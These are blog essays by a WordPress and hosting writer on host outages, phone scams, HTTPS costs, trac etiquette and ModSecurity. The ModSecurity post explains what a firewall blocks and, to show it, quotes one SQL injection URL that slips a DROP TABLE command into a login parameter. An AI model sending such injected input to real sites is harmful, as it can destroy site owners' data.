My webhost had a bad day. They ran a regular, normal, upgrade to some switches and a switch failed. It decided it would be fun to reboot over and over. Since running on one switch is rather dangerous, they decided to roll back so we could have two and everything would be okay. It didn’t work. In fact, nothing worked. It was one of those days where you put out a fire only to have an earthquake, and as soon as you got the place cleaned up there was a flood. And then the sprinklers thought they should go off.
We have, every last one of is, had a day like that. A day where absolutely everything went wrong when it was possible to do so. It was clearly one of those days.
I can certainly complain that my host wasn’t really the best when it came to explaining things, too. They would send us emails, which was fine, except my emails were on my server which was inaccessible to me. So many people went to their live-chat that it was impossible to get a rep. Tweets? Unanswerable due to volume. They actually replied by (heh) email. And when I went to their management panel on their website, it just said that it would be updated in ‘an hour.’
I resorted to opening a ticket. And I hated doing it, since I knew better than many exactly how shitty their say was. So I asked “Status Update?” and explained that I was unable to check my email but what was the status? I got the form replies, which I expected, and I pushed back for one detail. Just one:
> “It is our aim to have this completed within the next hour by proceeding with this fix immediately.”
>
> Hour from when?
>
> Suggestion for your website: Can you timestamp things so we know when to kind of expect things?
By the end of that day, they had a static.html page with the information, and times(!), on it. They’re not ‘great’ at keeping it updated, but I know how annoying that aspect is, and I don’t fault them one bit. Once the work was done and everything was back to normal, I inquired as to the offered credit, which actually I’d forgotten about but they had mentioned to me in the support ticket! I think it works out to being about $4, clearly not very much, and honestly I don’t care about it very much.
A thought that never crossed my mind? Leaving them.
It’s not because my server’s been there for over a decade, and it’s not because I like the more and more ‘grown up’ corporate tone of their communications. It’s certainly not that I agree with everything they do. But what I do agree with is that I pay them for a service and, for the most part, I get it. When I don’t, after the dust settles, they’re as responsive as every other host.
I’m not paying them *just* for server space, after all. I pay for backups, some cloud services, and most of all, I’m paying them for *help* when I screw up. Not to be my consultants, certainly, but I do pay them for technical support and advice like “Can you tell me how to install Ruby on my server?” because there’s no KB article … yet. Also when I needed help tuning httpd.conf they helped out. They don’t do the work for me, they do their limit, and they’re generally friendly about it.

So how bad does an incident have to be to make me leave it?
I’ve only ever left a host when they didn’t offer the services I needed (SQL, PHP 5, so on and so forth). If I was paying less for a bare-bones host, I’d have to pay someone to help me with server stuff anyway, so for me the all-in-one matters.
As for outages, I’m pretty relaxed about it, At an hour of downtime, I pay attention. I had a total of about 4 hours over the course of a day, which is annoying, and bad, but not horrible because no content was lost, just traffic. It’s not that my website isn’t my life, it’s that I’m realistic about situations. If the host explains what happened and are working on fix it as fast as is reasonably possible, I’ll suffer up to 6 straight hours before getting really upset. I’ve never had an outage of more than 75 minutes in a row, though, and before this one, I never had one more than 45. So yes, this was the worst outage I’ve ever had with them (that wasn’t my fault).
Other incidents that may make me leave would be a deletion of my server without warning. That, hands down, is time to go. Any service promise that isn’t regularly met is grounds for a chat about expectations. I don’t count ‘support response time’ as a service promise, mind you, since when shit gets bad, that’s *always* going to drop. I mean things like backups or uptime. I’ve never been one to care about [99% uptime](https://halfelf.org/2014/forget-100-percent/ "Forget 100%"), but if the server’s always crashing no matter what I do, and they’re not willing to help me, then I have a problem. In general, I feel that if my site in particular is having issues, it’s probably me and my snowflake more than them. If all sites have the same problem, then it’s probably our needs don’t match the host services.
The funny thing is I don’t know of many hosts that fits that bill. Sometimes a host has to tell you no, they can’t offer a service, and sometimes they tell you that you’ll have to pay more to do something. But in general, most hosts want to keep you, they want to help you, and they sometimes have to be the bearer of bad news. I’ve actually met hosts who have told me “We won’t be able to provide you the quality of uptime you need due to the way your site is being accessed.” That was a fancy way to say “You get too much traffic for our small node to handle.” And then they handed me a discount for another host. *Another Host.* This small host was bought out years ago, but I will always remember Greg for that moment. He was awesome.
My point is that it’s not my host’s job to manage my website, so if I let the spam on my site go wild and it causes my server to crash, well that was *my fault*. Not theirs. Don’t like the way my plugins make my site work? That’s on me. And if they tell me “You’re getting hit by Reddit, we need to increase your CPU/memory to handle it, and that will cost you more money” I know they’re not just upselling me.
There are some hosts, sure, out to make a buck, but in general I find that if they know that I understand our relationship, things go well.
This isn’t meant to be a love song to any one host. None of them are perfect, and they all have weird quirks. This is a love song about remembering my relationship with my host, respecting that, and holding up my end of the deal. I’m not naming any host names (even though it would take you about 2 seconds to sort out who mine is, and who I work for, and yes, I’m ecstatic about both), because it doesn’t matter. I’ve had an experience like this with hosts that are maligned and vilified. My choice not to use them is not based on quality of service but on my morals and ethics. I chose not to fund people I am diametrically opposed to, for my own peace of mind.
But I find, for the most part, that when I make it clear I know how our relationship works, and better yet, I know how their job works, I get both the support I want and the results I expect. It’s funny how that goes. They keep my faith and I keep trusting them.
**Categories:** How It Is
**Tags:** essay, hosting
---
### [Cold Calling Support](https://halfelf.org/2014/cold-calling-support/)
**Published:** July 7, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Sometimes I'm not nice to 'support' but that's when it's not support, but sales.
**Content:**
Recently a coworker said I was mean to support, because I was firm and annoyed with someone on the phone. “Every time I’ve heard you take a support call in the office, you’ve been mean.”
I corrected him “Those were cold calls. When I call support, with the exception of the idiot I got at NetSol, I usually walk away from my desk so we can have a long, friendly, chat.”
Basically he only saw me talking to cold callers and thought I was mean. And I get why. Are not cold-calls a part of support? Given that cold-calling people who didn’t pay for (and who paid but never used) hosting, I can see where he might be taking it personally. I didn’t mention, since we both agreed that surveys calling you and offering to pay you was shady at best, but I don’t see what he does as a cold call. Debt collection maybe, but he’s not a cold call. He’s calling you because he has your information and you already started a relationship with us.
So why *do* I hate cold calls? Well it’s the same reason I generally hate the emails “Can I ask you for a debugging favor?” You’re trying to get something off me without compensation, or generally thanks (no, Anne and Benny, you were fine). A cold call is even worse, though, because it really is just an out of nowhere call.
Whats an example of the worst kind of cold call? [Phone scams.](http://www.microsoft.com/security/online-privacy/avoid-phone-scams.aspx) I actually get a lot of those for services I don’t use, like Microsoft, and it’s actually made me tell people when there are *legit* calls “If you’re calling from X company, I’m going to call you back at the main contact number. What case number can I reference?” I did that with the cold-call for a debt collection which I argued. I didn’t recognize them, I didn’t know them, and I was not about to give them my credit card info over the phone.
I got into an argument with a fake Microsoft call recently. “Sir, let me stop you. You’re calling someone who works in IT. I don’t have a Windows computer, you’re working for a scam company. I know many good companies in India–”
And he shouted at me “I am not in India. Please listen, your computer has a virus.”
So I raised my voice, “Sir, no it does not. You are working for a scam–”
And he screamed, “YOU ARE A SCAM!” My wife could hear him. I tried to cut him off and explain, he shouted insults (I used to work with people from India, I know some insults) and I hung up.

I’m sure I could have been nicer. Equally I could be nicer to the salespeople from DirecTV who call. “We’d like to upgrade your service.” and I say no thank you. “But it’s free for 3 months.” And I know that, but I know in 3 months I have to remember to cancel the service. No thank you. Again, no thank you. It’s around the second ‘no thank you’ that I start to lose my patience. Certainly I try to be firm, so they don’t think I’m easy to convince, but I’m not trying to be mean.
It’s possibly a side effect of ‘Bitchy Resting Face.’ Whenever I’m firm and direct and say “No, I don’t want that service.” I get push back that I’ve been mean to the person on the phone. But if I say the same thing in a sweet and kind voice, I’m told I’m being too soft and that encourages the hard sell. From my end, it’s a no win.
This is probably why I’m a bad salesman. If I say “You may be interested in product ABC, it can do these things.” and the person says “No, thank you.” I stop. I may say “Okay, if you change your mind or have later questions, please just ask.” and I move on. Because I, personally, hate the hard sell. I don’t want someone convincing me I want something I don’t need. Sales calls are not something I appreciate.
On the other hand, of the few times I’ve been called by companies for support (not the other way around), I’m cautious and then pleasent. When I moved to California, my bank and credit cards called me. “Hi, we’re seeing a lot of charges from your card in a new location.” I laughed and asked if it was my new city and if it was the Target. They said it was, I assured them that was me. “Well, we’re going to hold those transactions until you update your account with your new address.”
Boom. That was awesome. Security and support in one. I had to update it, of course, but in doing to, I confirmed for them it was me, and I helped them out. This was good because the next week someone in Kentucky tried to use my card numbers and they knew it wasn’t me. Of course, the amount of travel I do makes this hard, but they keep checking with me when appropriate.
And that support? I always smile for.
**Categories:** How It Is
**Tags:** behavior, essay, support
---
### [Reset the Net Gotchas](https://halfelf.org/2014/reset-the-net-gotchas/)
**Published:** June 6, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Yesterday we wanted to take back the net. Today let's talk about some sticking points I have with it.
**Content:**
All my domains will **not** be HTTPS by the end of 2014.
Sorry. It’s one of those things that just isn’t (at this time) something I can pull off. If I only had one domain and everything was subs, I could get one wildcard subdomain cert and be done with it. But with the number of domains I have it’s not feasible. Which brings me to what I think one of the major issues with our desire to protect the net is… But let’s step back!
Yesterday, as you may have noticed, was [Reset The Net](https://www.resetthenet.org/) day. It was a call to action, much like we did when we went dark one day.
Now on this site, I’m using the [Internet Cat Signal](https://wordpress.org/plugins/cat-signal/), which cleverly updates itself as I need to alert people to crap like this. The tldr is that the NSA *is* spying on us. I leave that plugin on all the time, it fires up when there’s something people need to know. It doesn’t slow down my site, and I hope it brings awareness to folks who otherwise have no idea about this stuff. About 75% of my traffic on this server can be described as people who don’t know about any of this.
What have I done for this? [The recommendations are to use HTTPS, HSTS, and PFS](http://resetthenet.tumblr.com/post/84137916350/how-we-secure-the-web-https-hsts-pfs). Since HeartBleed, I enabled PFS. This is a non-logical sort of thing to do, in that few people seem to explain how to do it. On my box, which uses WHM, it was pretty easy. In my WHM Panel, I went to Apache Configuration -> Global Configuration -> SSL Cipher Suite. Then I picked the *PCI Recommended* suite, not the default, and rebuilt the configuration. Then I went to Apache Configuration -> Include Editor -> Pre Main Include and, for *all* builds of Apache, added this:
```
# Enabling PFS
SSLHonorCipherOrder On
SSLProtocol All -SSLv2
# CVE-2011-3389
SetEnvIf User-Agent ".*MSIE.*" nokeepalive ssl-unclean-shutdown
```
The last bit lets me support any IE 6 users who visit my store. But as I said, I don’t have SSL on for all my domains. So what **are** my HTTPS issues?
The cost is insane. Let’s look at wildcard ssl, which is what you want for \*.example.com situations. It’s pretty much $100 a year. That’s not too bad until you factor in how many domains I have on this server. Six family members, six of my own sites (including short domains like helf.us). So that’s either $1200 a year, which is obscene, or $145 a year at the cheapest I could find, and that’s for the simple green lock and no wildcards. For the big green bar, it’s back to around $1000 a year. Oh and I forgot one of my domains, so that’s $164 and $1047. Now I could totally afford the $164 a year, it’s doable with my ad revenue (which pretty much breaks me even at the end of a year) but….
It’s slower. Look, I get it how it’s important to be secure, but right now, the nginx proxy setup I’m using doesn’t work on HTTPS. That sets me back some since using it has sped up my site considerably. I know how to (and have) set Google Pagespeed to play nicely with HTTPS, so I’d be back to where I was before. This isn’t bad, it’s just not a great experience. Right now I have a secure login, secure email, a fully secure store, and ssh/sftp only, so the only place your data could get ‘sniped’ is when you’re leaving a public comment on my public site, which makes me less worried than I might be. Even my git repo is secured.

Also it’s hard. And no, that’s not an excuse. PFS (Perfect Forward Secrecy) isn’t easy to add to your servers, and it’s way outside the realm of what most people can do. Hell, it’s outside the realm of what I’m comfortable doing. It took until my server had the specs for OpenSSL that will support PFS for me to do it. The point is, this part has to be done by the webhost for most people, and that is a big issue. It’s not easy or fast to upgrade servers, and it’s far, far more persnickety than updating WordPress. It’s complex, and you have to think about everyone on the server. Again, not an excuse, just a caution that it takes a while to finish up.
Speaking of WordPress, multisite isn’t great at it. In fact, it’s less great than normal WP. I have two sites with SSL right now, ipstenu.org and store.halfelf.org. Ipstenu is only SSL on the back end, but even with that, there are inconsistencies. First, all the links are HTTPS, so when I click on “My Sites” the link to NON HTTPS sites are using HTTPS, which doesn’t work. Also if I made a new domain, it defaults to HTTP and *not* HTTPS. So I have to edit that manually. This is annoying, thought not insurmountable, and I know it’s something being worked on.
In the end, the absolute biggest reason I’m not switching to HTTPS is that the only person who needs secure communication are the people logging in or the people buying things, and I’ve taken care of that. For the rest of you, know that my store is secure, my logins are secure, and if you’re commenting on the site, for god’s sack, don’t post anything you don’t want people to know!
I’m sure in a few years if not months all this will change, but this is where I am today. The racket with SSL certs costing that much needs an easier solution, and then the rest will fall into place.
**Categories:** How It Is
**Tags:** coding, essay, open source, privacy, security, servers
---
### [It's a Piece of Cake](https://halfelf.org/2014/its-a-piece-of-cake/)
**Published:** June 4, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** It's a lie that everything is easy. Everything's hard the first time, so we have to keep trying until it's easy.
**Content:**
We’ve all bought furniture you had to put together ourselves. It’s the Ikea way, we can save money by putting in sweat equity, and get ourselves something less expensive and a little faster than waiting for it to be built and delivered and installed for us. Also we have a feeling of satisfaction. I felt that when when I hand-built my wood arrows for a slightly larger cost up-front but a lower one long term. It was worth not just the experience to me but the result.
When it comes to working with new software, it’s much the same way. We come to it for all those reasons (price, desire to learn, speed) and many more, but we have to build up the experience in a product to have the comfort and expertise to become masters of it. See, by making my own arrows, I know more about how they work and how they’re put together and why certain things happen. The head of your arrow is too heavy because you used a heavier point? That explains why the drop rate is so high! The glue used to attach the point is uneven and heavy? That’s why it wobbles! I know how they were put together, now I have a cause/effect understanding to my arrows.
Learning something new is always easier the second time. But when someone else tells you how to do it, you get the impression they feel that it’s as easy as pie. But it’s not to you. When I had to write a new plugin to act as a CDN for DreamObjects, I was frustrated. I threw the code out a dozen times, I burned it and started over, I forked and knifed and otherwise fought with things. And then, through all my frustrations, I finally understood and was able to write was was needed. When I went back to add a feature as requested, since I now understood how it worked, it was easy.
Part of the issue is that the second time, you’re not creating new neural pathways, you’re just using the ones you’ve got. They may be newish, but they’re not created out of nothing, which means you have a chance to follow your own footsteps. Much of this is exactly why I blog a lot about how I do things and how they’re created. If I walk first, you can follow and go “I like this, but I want that…” and make a fork in the path.
In and of itself, that’s how WordPress works. It’s made a pathway for you to ease your blogging and site maintenance, but it’s also allowed you to see the trail and blaze your own when you need, while still having some of the familiar inside. At the same time, when things go weird, or people want a new feature for WordPress, it comes back to the innovators and trailblazers to determine how to create something out of nothing.

Code is art. It’s creation. It’s hard. When people say “It should be easy to do this…” I wonder if they’ve ever tried to follow a new recipe, or if they’ve forgotten what it was like to learn to master a new video game, or even driving. All the easy things have already been done. We’re into the world of the complex, much of which we’ve done to ourselves, where to add one new, simple thing requires in depth knowledge. We’ve raised the bar on the entry to new code, which is a problem we’re all aware of.
But.
Once you get over that bar, once you’ve done this one time, once you’ve designed one site, or edited one page in HTML, the *next* time is a little easier. You don’t lower the bar, you build a step to make it easier to jump that bar. Even if it’s learning a new email app, or how to use your phone. No matter how intuitive a thing is, you still have to learn it!
So you have to keep trying and keep working until you too can say “It’s a piece of cake.”
**Categories:** How It Is
**Tags:** essay
---
### [C'mon Get Trac'in!](https://halfelf.org/2014/cmon-get-tracin/)
**Published:** May 30, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** When should you, that new user, use trac, and when should you not?
**Content:**
After every major WordPress release I trawl the forums and look for new superstars. I usually find one or two people who, like I did five years ago, catapult themselves into the stratosphere by taking notice of issues of communication and correcting them. That’s how that OMGWTFBBQ post was born! WordPress 3.0 dropped with a lot of changes and people lost their minds. That’s the best part of a complex release.
The worst part is people losing their minds in the **wrong** places.
Oh there’s nothing wrong with going batty over a change or reporting something is broken. What’s wrong is when you go into a half-dozen similar posts and repeat the exact same rant. Much like the superstars who get noticed because they’re being helpful, when you spam-rant, you become noticed in a bad way.
No release is perfect, and WordPress’ ideology of ‘Release and iterate!’ means that we know we’ll have missed something, or not totally finished another, and it’s not everything we want *yet*, but also that the fastest way to get ready is to get more people poking at it and breaking it. This means we know things aren’t perfect, but it *doesn’t* mean we ship broken code. Still, change breaks things, and some of those things are outside our control (like TinyMCE 4 changed how it implements a lot of things).
Naturally though, big changes cause loud complaints. For people who shout and demand to know why we had to change, the problem is where they do it, not so much how and with what language. The where problem is that someone will post a rant in a bunch of similar posts, or create a trac ticket when they haven’t done any debugging.
It’s pretty easy to remember that the *support* forums are not your personal soapbox to stand on and shout about how much everyone sucks (or is awesome, I know). The forums are a place to describe your problem and get help.
So … How *DO* you know when it’s time to get trac-a-lacking and make a ticket, and when it’s not?
**Is it just you?**
A quick search of the forums will tell you if you’re the only one with an issue. If you see one or two other people with similar issues, read deeper. Similar is not the same, so just because you both have a white-screen-of-death on the post editor does not mean it’s the same bug.
**Did you do the needful testing?**
Have you tried:
- flushing any caching plugins you might be running, as well as server and/or browser caches.
- deactivating all plugins (yes, all) to see if this resolves the problem. If this works, re-activate the plugins one by one until you find the problematic plugin(s). If you can’t get into your admin dashboard, try resetting the plugins folder by FTP or PhpMyAdmin (read [“How to deactivate all plugins when you can’t log in to wp-admin”](http://codex.wordpress.org/FAQ_Troubleshooting#How_to_deactivate_all_plugins_when_not_able_to_access_the_administrative_menus.3F) if you need help). Sometimes, an apparently inactive plugin can still cause problems. Also remember to deactivate any plugins in the mu-plugins folder. The easiest way is to rename that folder to mu-plugins-old
- switching to the Twenty Fourteen theme to rule out any theme-specific problems. If you can’t log in to change themes, you can remove the theme folders via FTP so the only one is `twenty fourteen`. That will force your site to use it.
- manually upgrading. When all else fails, download a fresh copy of the latest.zip file of WordPress to your computer, and use that to copy up. You may need to delete the wp-admin and wp-includes folders on your server. Read the [Manual Update directions first](http://codex.wordpress.org/Updating_WordPress#Manual_Update).
(Can you tell I use that a lot?)

**Does it happen on a clean install?**
The best testers test on a test site. Even on my personal, I don’t code on it, laptop, I keep a copy of MAMP handy, as well as a pure test site on a live server. But I’m weird. Still, if you’re even considering making a trac ticket, have a test site and test it there before you click that ‘new ticket’ button. It may feel like an extra hurdle, but having that clean test will make sure you’re not losing your mind sometimes.
**Have you asked anyone else about it?**
I admit, this works better if you know people, but if you do know someone, just ask. I bug my coworkers sometimes “Hey, do you see this? No? Okay…” It helps me sort out if I’m being crazy or not, and sometimes just asking “Anyone know why I might get this error…?” gets amazing results. Again, this works best if you have a network already, so don’t worry about this too much.
**Hope you’re right…**
Even I don’t know if it’s right to make a ticket all the time. I hesitate over those buttons a lot, and often delete the whole thing. It’s not super simple to know, so you have to make your best guess.
**Categories:** How To
**Tags:** debug, essay, support, wordpress
---
### [How to Market Your Blog](https://halfelf.org/2014/how-to-market-your-blog/)
**Published:** May 26, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The trick is that you're not marketing anything at all.
**Content:**
I recently had a poll on my ebook store, asking people to vote for what I should write about. Someone suggested this: how to market your blog-best strategies and “no no’s”
For a while, I looked at the suggestion with Reddit face. I’m not in marketing. I’ve never been in it, I don’t have the foggiest idea how one goes about marketing anything, and I don’t really care to. Why would anyone ask me to write about that? But then again, maybe they’re asking specifically because I don’t normally write about that.
With that in mind, here’s how I market a blog, and it’s one really simple step:
### Know my audience
You’ve got to know who you’re writing for if you want to sell it. If I’m going to be blogging about dog food, then I should take the time to learn about how dog enthusiasts act online. What kind of ‘fan’ blogs are there, what kind of official/professional sites are there, what sort of forums. I need to understand who they are, how they act, and what they expect. A blog for tech people will accept different design styles than ones for pre-teen books.
A side-note to knowing who I’m talking to is knowing what they consider normal. Even if you think the current ‘trends’ on their sites are ugly as sin, you have to aim at them in order to be accepted. Similar but different. People don’t like big changes, and you may find yourself ignored. At the same time, being different is good, you stand out. Find that balance.
But when I tell people “I know my audience and I write for that” it sounds at once insanely overly simplistic and bloody genius. The fact is that I’m not a marketer, so I don’t ‘market’ my site, I write good content, put it on a theme with good SEO (thank you Carrie Dils for your [Utility Theme](http://store.carriedils.com/?affiliates=3) and StudioPress for [Genesis](http://www.shareasale.com/r.cfm?b=346198&u=728549&m=28169&urllink=&afftrack=)), and the rest magically takes care of itself because what I put into the world isn’t my blog, but *myself*.
I said once that [Chris Lema](http://chrislema.com/) doesn’t sell himself, he sells you on yourself. He liked that so much, it’s on his header for his blog redesign. Chris, I suspect, gets what I mean when I say I don’t actually market anything. See, I go out there, I find people who need help, and I help. I spent time without really meaning to building up a rep of being helpful and knowledgable and understanding because I have some skills that were perfect for my audience. Not only do I know them, I am them!
What’s on this site is essays, how tos, and ebooks. I sell the books based on the attraction from what I do in the world. See, Open Source is weird. We put stuff out there for free, and then people pay us for other things they can’t do themselves. It’s like how I tell my coworkers to ‘sell’ people on our managed hosting. It’s a question of where people want to spend their time. I like playing on the server, my wife doesn’t. If she didn’t have me for hosting, I’d actually tell her to get managed hosting from the start, because it lets her do what she wants to do!
And *that’s* what you’re selling. That’s what you market.
Steve Jobs was right when he said your customers don’t know what features they want. But don’t sell them or market them just because they’re features. Sell them what you are what you use. Tell them the truth. Market by representing what they could be, help them get there, and don’t sell ‘As Seen On WordPress.’
We build in WordPress things *we* need. We should market them as that. “I needed this. Here’s how I did it so you don’t have to reinvent the wheel.”
I’m Mika Epstein, aka Ipstenu. I know things you don’t because I do things you don’t, and I write about them for you to be able to do them even easier and faster. I know what it takes to learn because I learned. I know how to explain it because it’s how I explained to myself. I know who to talk to, because you’re my people.
**Categories:** How It Is
**Tags:** essay, wordpress
---
### [Save Bacon With ModSecurity](https://halfelf.org/2014/modsecurity-bacon/)
**Published:** April 28, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Sometimes we get too particular in our quest to stop those damn, dirty, hackers.
**Content:**
Earlier this month, my company DreamHost had a small snafu with ModSecurity. The tl;dr is that we had a typo and it [stopped some people from being able to access or properly use Jetpack](http://wptavern.com/the-combination-of-jetpack-and-dreamhost-security-settings-lead-to-lost-comments). Thankfully, the WordPress community (including everyone at Jetpack, whom I owe drinks and/or dinner) is filled with amazeballs awesome people who helped us figure out everything and sort out customers who, upon getting what appeared to be a Jetpack error, went there when they needed to go to DreamHost.
These things happen. Code isn’t perfect, people aren’t perfect, and everyone makes mistakes. Of course, on the internet it’s unreasonable to assume a legit gaff, and I’ve seen people call out “Why was DreamHost pushing out these tweaks?” and “Didn’t they test?” so I thought perhaps it was time to explain why we use Mod Security and why, even though it’s my nemesis, I like it a lot.
### What is ModSecurity anyway?
ModSecurity (aka modSec or mod\_sec) is an open source web application firewall (WAF). That means it sits between your website and the world, blocking all the bad people. When we have those brute force attacks, [ModSecurity is key in blocking them](https://halfelf.org/2013/wp-login-protection-modsec/ "WordPress Login Protection with ModSecurity"). It blocks people who attempt code injection attacks like this:
```
http://www.example.com/wp-login.php?username=admin'">DROP%20TABLE%20wp_users--
```
Now that would never work on WordPress core, but the [Bobby Tables attacks](https://xkcd.com/327/) have the potential to kill your site if you have a plugin or theme that’s insecure. Most hosts have customized their rules to check for things like hitting the wp-login page improperly or passing through credentials directly. That means if someone tries to log in to your site without clicking the submit button (yes, you can code that), it will block them.
One of my favorite things about ModSecurity is that you can hook it into another firewall like [ConfigServer](http://configserver.com/cp/cmc.html), Fail2ban, or even the built in linux feature of IPTables, and block any IP that routinely trips your security rules.
### So why was DreamHost monkeying with it anyway?
Every host is constantly monkeying with ModSecurity. As attack patterns grow and change, your host has to adapt. There’s a team at pretty much every host on the planet who watches logs, studies them, and improves the ModSecurity rules. Heck, we even share our rules with other hosts when the situation calls for it, like that Brute Force attack back in 2012. It was brand new, we were all surprised at the aggressiveness, and we quickly shared information.
On any given week, your host is creating new rules and testing them in their dev environment, or on specific real servers that are designated “Go ahead, blow me up.” After all, we all know nothing beats real-world testing. And if push came to shove and one specific site was being hammered, we may push an experimental rule to them before we’re done testing everything, because it’s that or your site is down.
We’re always working and improving. Security is a moving target after all.
### How come a typo slipped through?
If you can find me someone who makes a 100% perfect product every single time, I’ve got a bridge for you to buy. We tested everything we could think up, and interestingly enough, that Jetpack error *didn’t* impact all Jetpack users! We have a test box, with Jetpack, and it worked fine there. Go figure.
But I’ve often said your website is a pretty snowflake. It’s unique, and what you do with it is different from what everyone else does. Things I have and do on this server and this domain are wildly different from my other sites on this same server! The need for the site is different, and what it uses is different, so what it does when it communicates with the world? Different.
I’ve had days where one domain is acting like a prat, but the others are fine. And I’ve sat there thinking “But it’s the *same* on these domains! They’re on the same server for God’s Sack!” only to realize that the usage pattern of the sites were very much not the same. And that takes everything longer to fix because you have to narrow things down over and over until you actually find out what the heck you did wrong.
I can’t even tell you this will never happen again because I’m pretty sure someone will make a mistake again sometime in the future.
### Conclusion?
I wouldn’t run a site without ModSecurity, but there are options.
In February 2013,[ Zero Science Lab released a study comparing it to Incapsula and Cloudflare](http://zeroscience.mk/files/wafreport2013.pdf). While ModSecurity came out on top (though it was noted to be more aggressive and caused more false positives), Incapsula has been [working hard to fix it’s issues](http://www.incapsula.com/blog/incapsula-pentested-review.html). There was actually a [Round 2: Incapsula vs Cloudflare](http://zeroscience.mk/files/wafreport2013v2.pdf) study in October 2013, and in this one, Incapsula is the clear winner. Of note, you won’t get the WAF protection on either for free.
The studies say, to me, that if you’re master of your own domain and want the firewall on your server to run yourself, use ModSecurity. If you’re going to farm that security out to the cloud, use Incapsula. There are, of course, benefits to putting the firewall on the cloud, and the major one is that you’ll be spared high CPU since the processing of the naughty people is done on their server, not yours. But of course, if they go down, you’re at risk, so you should probably have ModSecurity anyway.
After all, your website is important, right?
**Categories:** How It Works
**Tags:** essay, open source, security
---
### [It's Better to Extend](https://halfelf.org/2014/better-to-extend/)
**Published:** April 25, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Deciding what you need and want is why WordPress being extendable is a win for everyone.
**Content:**
If you’ve heard me answer the question “Why is this a plugin and not in core?” then you’ve probably heard me say “It’s better for WordPress to be extendable than to include everything.” And you’ve certainly heard me tell folks that [the concept of Open Source development is different than many of you think](https://halfelf.org/2014/youre-wrong/ "You’re Wrong about Open Source Development").
One of the many reasons I liked WordPress was that, unlike other apps, I didn’t have to spend the first week after install turning off a great number of features that I didn’t want, just to have the core application that I did want. WordPress stood apart by assuming very little. You want to publish content. That’s pretty much it in the beginning. As things changed with the times, comments and media uploading were added, but at it’s heart, WordPress has remained pretty on point.
Simplicity.
WordPress doesn’t want to get in the way of your content. It would rather make decisions, not options, to keep it simple. We constantly argue about better ways to simplify, how we can remove options to improve usability, how we can make things easier and faster.
Earlier this month, my friend George ruminated on [decisions](http://stephanis.info/2014/04/03/decisions/) and specifically talked about how to make his code serve two masters:
> To each according to their needs. Typical users need a simple, smooth, classy interface. Power users need to get under the hood. Why try to make something that doesn’t work well for either by trying to serve both?
This is the route WordPress tries to take, and it has some pretty incredible payoffs. If you don’t need to get under that hood, your site is lean, fast, and perfect. If you do, you can totally monkey with your engine all you want to make changes. But that user who has no idea what we mean when we say “add a filter to the output…” *doesn’t have to learn anything new*. They can just install a plugin and go.
By being extendable, WordPress is able to keep itself small and let you make the decision of what you need. It also lets you pick out what’s important to you, and this is a hard choice. We want a lot of bells and whistles on our sites, but we know they’ll possibly make things slow. We have to decide what we care about more, what can we sacrifice, and what must we keep.
So when I tell people “It’s better that WordPress is extendable.” I do so understanding that I put the work on you, and not core. I’m making you do the hard part, the part of weighing options and features. The part of telling a client “No” because that awesome slider will make their page slow. I’m putting you on the spot.
I think that may be why people get made about this whole thing, more so than the trials and tribulations of finding the right plugin. Of course finding a good plugin that won’t break is hard. You *should* be circumspect about plugins and themes, test them well, don’t just use them because they’re super pretty. But here I am saying that we’re lazy, over in WordPress land, and we want you to decide what you need.
Many of you use smartphones. Many of you buy in-app purchases. Many of you, like me, think that in-app purchases are kind of a terrible thing. Thomas Baekdal goes a step further and argues they [are destroying the gaming industry](http://www.baekdal.com/opinion/how-inapp-purchases-has-destroyed-the-industry/). Many people argue WordPress does the same thing. The core is free and the add-ons may be free or they may cost money. Heck, I paid for this theme, it’s parent theme, and some plugins!
Let’s take [Easy Digital Downloads](https://easydigitaldownloads.com/?ref=3359), a plugin I use. It’s free. I have six specific add-on plugins for it, though to do things I want. One I wrote, three are free, and two I paid more for. Why is that okay? Because unlike the model of paying to speed things up, EDD lets me pay to add what I *NEED*. I needed a PayPal alternative (PayPal is free by the way), so I bought Stripe for my users who can’t use PayPal. I wanted (not needed) a way to let people pick prices in some places, so I decided to buy that as well. But everything else has been free. That’s nothing like the In-App payments, that’s what they wanted to be but didn’t manage.
So it’s better to extend because I decide what I want, and I decide where to spend money, and I decide what to do. WordPress without those extensions? Still works. There are hundreds of options to do what I did totally for free, legally and morally free of implications too. I paid for the speed and connivence, but I didn’t have to worry about things I didn’t want or need because I didn’t add them.
I like the place where I decide what I need.
**Categories:** How It Is
**Tags:** essay, open source, wordpress
---
### [So You Just Have One Small Question....](https://halfelf.org/2014/one-small-question/)
**Published:** April 14, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** It's a gift to be simple but our answers rarely are.
**Content:**
Every single developer, tech supporter, manager, project planner, tester, parent, teacher, and quality checker knows that question. And we all know that absolute feeling of dread that comes with it.
*No, you don’t have one ‘small’ question,* we think to ourselves, wishing we had a drink in hand, or maybe pondering how much money we’d have if we got a penny (yes, one cent) for every single time someone asked a ‘small’ question that worked out to be larger than the initial topic. It’s right next to one more small change, which is always inconvenient.
The questions are nearly never ‘small’ and they’re nearly never ‘quick.’ They’re born of a lack of understanding (hence question), which in and of itself is alright, but they seem to always come at the end, when we think we’re done. As a developer, I often feel these last minute ‘one more’ questions are because I didn’t ask all the right questions in the beginning of a project (which is why [I’m not answering ‘Should I use multisite?’ anymore](https://halfelf.org/2014/dont-care-about-multisite/ "I Don’t Care If You Use Multisite"), too many questions). If I had a simple checklist to go down for my projects, it would be a lot easier.
But…
Therein lies the bane of most development setups. We *don’t* know what questions to ask much of the time, because we can’t know. We ask everything we can think up, and suffer from the [failures of imagination later on](https://halfelf.org/2011/failure-of-imagination/ "Failure of Imagination"). Or we end up in [design hell (this is an Oatmeal link!)](http://theoatmeal.com/comics/design_hell).
And what if we’re not developing? Tech support is a nightmare when people have ‘one more question’ because it means they’ve asked for help *before* they’ve actually thought through everything. Hey, I’m guilty of this too, there’s a reason me and my friends will sometimes tweet a question with a tag of #lazyweb – Sometimes it is faster to ask a question of the masses (or one person) than it is to think hard about the context.
Here’s my challenge to everyone. Stop asking one small question, and try to ask one *smart*, simple, question.
